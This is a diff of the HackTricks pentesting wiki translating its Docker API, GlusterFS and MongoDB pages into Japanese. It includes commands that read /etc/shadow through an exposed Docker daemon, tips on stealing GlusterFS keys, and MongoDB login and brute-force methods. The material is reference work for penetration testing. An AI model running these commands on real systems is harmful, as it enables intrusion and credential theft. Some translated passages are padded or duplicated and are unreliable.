[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) - -### Automatic - +### 自動化 ```bash msf> use exploit/linux/http/docker_daemon_tcp nmap -sV --script "docker-*" -p ``` +## Compromising(侵害) -## Compromising - -In the following page you can find ways to **escape from a docker container**: +以下のページでは、**Dockerコンテナからの脱出方法**を見つけることができます: {% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} [docker-security](../linux-hardening/privilege-escalation/docker-security/) {% endcontent-ref %} -Abusing this it's possible to escape form a container, you could run a weak container in the remote machine, escape from it, and compromise the machine: - +これを悪用することで、コンテナから脱出し、リモートマシンを侵害することができます: ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow ``` - * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py) -## Privilege Escalation +## 特権昇格 -If you are inside a host that is using docker, you may [**read this information to try to elevate privileges**](../linux-hardening/privilege-escalation/#writable-docker-socket). - -## Discovering secrets in running Docker containers +もしDockerを使用しているホスト内にいる場合、特権昇格を試みるために[**この情報を読んでください**](../linux-hardening/privilege-escalation/#writable-docker-socket)。 +## 実行中のDockerコンテナ内の秘密の発見 ```bash docker ps [| grep ] docker inspect ``` +秘密情報を探すために、**env**(環境変数セクション)をチェックしてみてください。以下のものが見つかるかもしれません: -Check **env** (environment variable section) for secrets and you may find: - -* Passwords. -* Ip’s. -* Ports. -* Paths. -* Others… . - -If you want to extract a file: +* パスワード。 +* IPアドレス。 +* ポート番号。 +* パス。 +* その他...。 +ファイルを抽出したい場合は、以下の手順を実行します: ```bash docker cp :/etc/ ``` +## Dockerのセキュリティ強化 -## Securing your Docker +### Dockerのインストールと使用のセキュリティ強化 -### Securing Docker installation and usage +* [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)というツールを使用して、現在のDockerのインストールを調査することができます。 +* `./docker-bench-security.sh` +* [https://github.com/kost/dockscan](https://github.com/kost/dockscan)というツールを使用して、現在のDockerのインストールを調査することができます。 +* `dockscan -v unix:///var/run/docker.sock` +* [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)というツールを使用して、異なるセキュリティオプションでコンテナを実行した場合のコンテナの特権を確認することができます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るために役立ちます。 +* `docker run --rm -it r.j3ss.co/amicontained` +* `docker run --rm -it --pid host r.j3ss.co/amicontained` +* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` -* You can use the tool [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) to inspect your current docker installation. - * `./docker-bench-security.sh` -* You can use the tool [https://github.com/kost/dockscan](https://github.com/kost/dockscan) to inspect your current docker installation. - * `dockscan -v unix:///var/run/docker.sock` -* You can use the tool [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) the privileges a container will have when run with different security options. This is useful to know the implications of using some security options to run a container: - * `docker run --rm -it r.j3ss.co/amicontained` - * `docker run --rm -it --pid host r.j3ss.co/amicontained` - * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` +### Dockerイメージのセキュリティ強化 -### Securing Docker Images +* [https://github.com/quay/clair](https://github.com/quay/clair)のDockerイメージを使用して、他のDockerイメージをスキャンし、脆弱性を検出することができます。 +* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` +* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` -* You can use a docker image of [https://github.com/quay/clair](https://github.com/quay/clair) to make it scan your other docker images and find vulnerabilities. - * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` - * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` +### Dockerfileのセキュリティ強化 -### Securing Dockerfiles - -* You can use the tool [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) to **inspect your Dockerfile** and find all kinds of misconfigurations. Each misconfiguration will be given an ID, you can find here [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) how to fix each of them. - * `dockerfilelinter -f Dockerfile` +* [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。各設定ミスにはIDが割り当てられます。[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)でそれぞれの修正方法を見つけることができます。 +* `dockerfilelinter -f Dockerfile` ![](<../.gitbook/assets/image (418).png>) -* You can use the tool [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) to **inspect your Dockerfile** and find all kinds of misconfigurations. - * `dockerfilelint Dockerfile` +* [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。 +* `dockerfilelint Dockerfile` ![](<../.gitbook/assets/image (419).png>) -* You can use the tool [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) to **inspect your Dockerfile** and find all kinds of misconfigurations. - * `dockerlint Dockerfile` +* [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。 +* `dockerlint Dockerfile` ![](<../.gitbook/assets/image (420).png>) -* You can use the tool [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) to **inspect your Dockerfile** and find all kinds of misconfigurations. - * `hadolint Dockerfile` +* [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)というツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。 +* `hadolint Dockerfile` ![](<../.gitbook/assets/image (421).png>) -### Logging Suspicious activity - -* You can use the tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) to detect **suspicious behaviour in running containers**. - * Note in the following chunk how **Falco compiles a kernel module and insert it**. After that, it loads the rules and **start logging suspicious activities**. In this case it has detected 2 privileged containers started, 1 of them with a sensitive mount, and after some seconds it detected how a shell was opened inside one of the containers. +### 不審なアクティビティのログ記録 +* [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)というツールを使用して、実行中のコンテナで不審な動作を検出することができます。 +* 次のチャンクでは、Falcoがカーネルモジュールをコンパイルして挿入する方法、その後ルールをロードして不審なアクティビティを記録する方法が示されています。この場合、特権コンテナが2つ開始され、そのうちの1つがセンシティブなマウントを持っていることが検出され、数秒後にはコンテナ内でシェルが開かれたことが検出されました。 ``` docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host @@ -318,10 +296,10 @@ DKMS: build completed. falco-probe.ko: Running module version sanity check. modinfo: ERROR: missing module or filename. - - Original module - - No original module exists within this kernel - - Installation - - Installing to /lib/modules/5.0.0-20-generic/kernel/extra/ +- Original module +- No original module exists within this kernel +- Installation +- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/ mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory @@ -340,19 +318,18 @@ falco-probe found and loaded in dkms 2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest) 2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu) ``` +### Dockerの監視 -### Monitoring Docker - -You can use auditd to monitor docker. +Dockerを監視するために、auditdを使用することができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index 012a42b5e..16e8b2ca4 100644 --- a/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -1,73 +1,64 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -**GlusterFS** is a **distributed**, arbitrarily scalable **file system** that aggregates storage components from **several servers into one**, uniform file system. - -**Default ports**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (onwards)\ -For the port 49152, ports incremented by 1 need to be open to use more bricks. _Previously the port 24009 was used instead of 49152._ +**GlusterFS**は、**分散型**で任意にスケーラブルな**ファイルシステム**であり、**複数のサーバーからストレージコンポーネントを1つの統一されたファイルシステムに集約**します。 +**デフォルトポート**: 24007/tcp/udp、24008/tcp/udp、49152/tcp(以降)\ +ポート49152では、さらにブリックを使用するために、1ずつ増加したポートを開放する必要があります。_以前はポート24009が49152の代わりに使用されていました。_ ``` PORT STATE SERVICE 24007/tcp open rpcbind 49152/tcp open ssl/unknown ``` +## 列挙 -## Enumeration - -To interact with this filesystem you need to install the [**GlusterFS client**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`). - -To list and mount the available volumes you can use: +このファイルシステムとやり取りするためには、[**GlusterFSクライアント**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/)をインストールする必要があります (`sudo apt-get install glusterfs-cli`)。 +利用可能なボリュームをリストアップしてマウントするには、以下のコマンドを使用できます: ```bash sudo gluster --remote-host=10.10.11.131 volume list # This will return the name of the volumes sudo mount -t glusterfs 10.10.11.131:/ /mnt/ ``` +**ファイルシステムのマウントに失敗するエラー**が発生した場合は、`/var/log/glusterfs/`のログを確認できます。 -If you receive an **error trying to mount the filesystem**, you can check the logs in `/var/log/glusterfs/` +**証明書に関するエラー**は、以下のファイルを盗み出して修正することができます(システムへのアクセス権がある場合): -**Errors mentioning certificates** can be fixed by stealing the files (if you have access to the system): - -* /etc/ssl/glusterfs.ca -* /etc/ssl/glusterfs.key -* /etc/ssl/glusterfs.ca.pem - -And storing them in your machine `/etc/ssl` or `/usr/lib/ssl` directory (if a different directory is used check for lines similar to: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" in the logs) . +- /etc/ssl/glusterfs.ca +- /etc/ssl/glusterfs.key +- /etc/ssl/glusterfs.ca.pem +そして、これらのファイルを自分のマシンの`/etc/ssl`または`/usr/lib/ssl`ディレクトリに保存します(異なるディレクトリが使用されている場合は、ログに"_could not load our cert at /usr/lib/ssl/glusterfs.pem_"というような行を確認してください)。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/network-services-pentesting/27017-27018-mongodb.md b/network-services-pentesting/27017-27018-mongodb.md index 1bafa842c..d62fbde2d 100644 --- a/network-services-pentesting/27017-27018-mongodb.md +++ b/network-services-pentesting/27017-27018-mongodb.md @@ -1,42 +1,69 @@ -# 27017,27018 - Pentesting MongoDB +# 27017,27018 - MongoDBのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する -## Basic Information +## 基本情報 -MongoDB is an [open source](https://whatis.techtarget.com/definition/open-source) database management system (DBMS) that uses a document-oriented database model which supports various forms of data. (From [here](https://searchdatamanagement.techtarget.com/definition/MongoDB)) - -**Default port:** 27017, 27018 +MongoDBは、さまざまな形式のデータをサポートするドキュメント指向のデータベースモデルを使用する[オープンソース](https://whatis.techtarget.com/definition/open-source)のデータベース管理システム(DBMS)です。([ここから](https://searchdatamanagement.techtarget.com/definition/MongoDB)) +**デフォルトポート:** 27017、27018 ``` PORT STATE SERVICE VERSION 27017/tcp open mongodb MongoDB 2.6.9 2.6.9 ``` +## 列挙 -## Enumeration +### 手動 -### Manual +MongoDBのポート(27017および27018)が開いているかどうかを確認するために、以下の手順を実行します。 +1. ポートスキャンツール(例:Nmap)を使用して、ターゲットのIPアドレス上のポート27017および27018が開いているかどうかを確認します。 + +2. 開いているポートに対して、MongoDBクライアント(例:mongo)を使用して接続を試みます。 + + ``` + mongo --host --port 27017 + ``` + + もしくは + + ``` + mongo --host --port 27018 + ``` + + 接続が成功した場合、MongoDBのバージョンや設定情報を取得することができます。 + +3. もし接続が失敗した場合、以下の手順を試してみてください。 + + - ターゲットがMongoDBを実行しているかどうかを確認します。 + + - ターゲットのファイアウォールがポート27017および27018をブロックしていないか確認します。 + + - ターゲットのMongoDBサーバーが正しく設定されているかどうかを確認します。 + + - ターゲットのMongoDBサーバーが認証を必要とする場合、適切な認証情報を使用して接続を試みます。 + +4. 接続が成功した場合、次のステップに進むことができます。 ```python from pymongo import MongoClient client = MongoClient(host, port, username=username, password=password) @@ -46,13 +73,23 @@ admin = client.admin admin_info = admin.command("serverStatus") cursor = client.list_databases() for db in cursor: - print(db) - print(client[db["name"]].list_collection_names()) +print(db) +print(client[db["name"]].list_collection_names()) #If admin access, you could dump the database also ``` +**いくつかのMongoDBコマンド:** -**Some MongoDB commnads:** +```plaintext +- `show dbs`: データベースの一覧を表示します。 +- `use `: 指定したデータベースを使用します。 +- `show collections`: コレクションの一覧を表示します。 +- `db..find()`: 指定したコレクション内のドキュメントを検索します。 +- `db..insertOne()`: 指定したコレクションにドキュメントを挿入します。 +- `db..updateOne(, )`: 指定したフィルターに一致する最初のドキュメントを更新します。 +- `db..deleteOne()`: 指定したフィルターに一致する最初のドキュメントを削除します。 +``` +**MongoDBの一部のコマンド:** ```bash show dbs use @@ -61,85 +98,80 @@ db..find() #Dump the collection db..count() #Number of records of the collection db.current.find({"username":"admin"}) #Find in current db the username admin ``` +### 自動 -### Automatic +MongoDB instances running on default ports 27017 and 27018 can be automatically discovered using tools like Shodan or Nmap. These tools can scan the internet for open MongoDB instances and provide a list of IP addresses. +Once you have a list of MongoDB instances, you can proceed with further enumeration and exploitation. ```bash nmap -sV --script "mongo* and default" -p 27017 #By default all the nmap mongo enumerate scripts are used ``` - ### Shodan -* All mongodb: `"mongodb server information"` -* Search for full open mongodb servers: `"mongodb server information" -"partially enabled"` -* Only partially enable auth: `"mongodb server information" "partially enabled"` +* すべてのmongodb: `"mongodbサーバー情報"` +* 完全にオープンなmongodbサーバーを検索: `"mongodbサーバー情報" -"部分的に有効化"` +* 認証を部分的に有効化する場合: `"mongodbサーバー情報" "部分的に有効化"` -## Login - -By default mongo does not require password.\ -**Admin** is a common mongo database. +## ログイン +デフォルトでは、mongoはパスワードを必要としません。\ +**Admin**は一般的なmongoデータベースです。 ```bash mongo mongo : mongo :/ mongo -u -p '' ``` - -The nmap script: _**mongodb-brute**_ will check if creds are needed. - +以下のnmapスクリプト:_**mongodb-brute**_は、認証情報が必要かどうかをチェックします。 ```bash nmap -n -sV --script mongodb-brute -p 27017 ``` +### [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#mongo) -### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mongo) - -Look inside _/opt/bitnami/mongodb/mongodb.conf_ to know if credentials are needed: - +認証情報が必要かどうかを知るために、_/opt/bitnami/mongodb/mongodb.conf_を確認してください。 ```bash grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed ``` +## Mongo Objectidの予測 -## Mongo Objectid Predict - -Mongo Object IDs are **12-byte hexadecimal** strings: +Mongo Object IDは**12バイトの16進数**文字列です: ![](../.gitbook/assets/id-and-objectids-in-mongodb.png) -For example, here’s how we can dissect an actual Object ID returned by an application: 5f2459ac9fa6dc2500314019 +例えば、アプリケーションから返された実際のObject IDを分解する方法は以下の通りです:5f2459ac9fa6dc2500314019 -1. 5f2459ac: 1596217772 in decimal = Friday, 31 July 2020 17:49:32 -2. 9fa6dc: Machine Identifier -3. 2500: Process ID -4. 314019: An incremental counter +1. 5f2459ac: 1596217772を10進数に変換すると、2020年7月31日金曜日17時49分32秒になります。 +2. 9fa6dc: マシン識別子 +3. 2500: プロセスID +4. 314019: インクリメンタルカウンタ -Of the above elements, machine identifier will remain the same for as long as the database is running the same physical/virtual machine. Process ID will only change if the MongoDB process is restarted. Timestamp will be updated every second. The only challenge in guessing Object IDs by simply incrementing the counter and timestamp values, is the fact that Mongo DB generates Object IDs and assigns Object IDs at a system level. +上記の要素のうち、マシン識別子はデータベースが同じ物理/仮想マシンで実行されている限り変わりません。プロセスIDはMongoDBプロセスが再起動された場合にのみ変更されます。タイムスタンプは毎秒更新されます。カウンタとタイムスタンプの値を単純に増やしてObject IDを推測する唯一の課題は、MongoDBがObject IDを生成し、システムレベルでObject IDを割り当てるという事実です。 -The tool [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), given a starting Object ID (you can create an account and get a starting ID), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them. +ツール[https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict)は、開始Object ID(アカウントを作成して開始IDを取得できます)を指定すると、次のオブジェクトに割り当てられた可能性のある約1000のObject IDを返しますので、ブルートフォースで試すだけです。 -## Post +## 投稿 -If you are root you can **modify** the **mongodb.conf** file so no credentials are needed (_noauth = true_) and **login without credentials**. +rootであれば、**mongodb.conf**ファイルを**変更**して、認証情報が不要になるようにすることができます(_noauth = true_)そして、**認証情報なしでログイン**できます。
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **でweb3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグ報奨金について通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/3128-pentesting-squid.md b/network-services-pentesting/3128-pentesting-squid.md index 0b0412b72..f321152d6 100644 --- a/network-services-pentesting/3128-pentesting-squid.md +++ b/network-services-pentesting/3128-pentesting-squid.md @@ -1,73 +1,63 @@ - -
